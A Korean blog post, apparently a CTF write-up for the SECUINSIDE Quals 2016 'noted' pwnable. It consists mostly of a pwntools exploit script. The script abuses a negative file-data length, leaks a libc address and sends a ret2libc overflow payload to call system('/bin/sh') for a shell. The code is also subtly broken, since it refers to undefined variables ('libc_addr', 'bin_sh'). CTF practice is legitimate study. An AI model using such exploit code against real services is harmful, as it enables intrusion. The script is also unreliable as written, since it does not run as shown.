Notice
Recent Posts
Recent Comments
Link
«   2025/07   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

SECUINSIDE Quals 2016 noted 본문

Security/Pwnable

SECUINSIDE Quals 2016 noted

Cdor1 2017. 1. 17. 00:42

후기 : libc릭백터 찾는다고 디버깅을 열심히 했던 문제이다.

언제나 디버깅을 생활화하자


from pwn import *
s = remote('localhost', 4000)

def register(id, password):
    print s.recvuntil('3) Exit')
    s.sendline('2')
    print s.recvuntil('id : ')
    s.sendline(id)
    print s.recvuntil('pw : ')
    s.sendline(password)

def login(id, password):
    print s.recvuntil('3) Exit')
    s.sendline('1')
    print s.recvuntil('id : ')
    s.sendline(id)
    print s.recvuntil('pw : ')
    s.sendline(password)

def create_note(title):
    print s.recvuntil('Menu')
    s.sendline('2')
    print s.recvuntil('title : ')
    s.sendline(title)
    print s.recvuntil('filedata length : ')
    s.sendline('-1')
    print s.recvuntil('password : ')
    s.sendline("")

def edit_note(title):
    print s.recvuntil('8) Logout')
    s.sendline('4')
    print s.recvuntil('title : ')
    s.sendline(title)
    print s.recvuntil('password : ')
    s.sendline("")
    print s.recvuntil('original data : ')
    print s.recv(0x4cc)
    base = u32(s.recv(4)) - 0x18637
    binsh = libc_addr + 0x15909f
    system_addr = libc_addr + 0x3a920
    log.info("base : " + hex(base))
    log.info("/bin/sh : " + hex(binsh))
    log.info("system :" + hex(system_addr))

    payload = "A" * 0x48c
    payload += p32(system_addr)
    payload += 'AAAA'
    payload += p32(bin_sh)
    s.sendline(payload)

print s.recvuntil('3) Exit')

register('cdor1', 'cdor1')
login('cdor1', 'cdor1')
create_note('a')
edit_note('a')

s.interactive()

'Security > Pwnable' 카테고리의 다른 글

9447 CTF search engine  (0) 2017.01.18
SECCON 2016 shopping  (0) 2017.01.17
PoliCTF-2015 johns-library  (0) 2017.01.16
H3X0R CTF comment  (0) 2017.01.13
H3X0R CTF ezheap  (0) 2017.01.12
Comments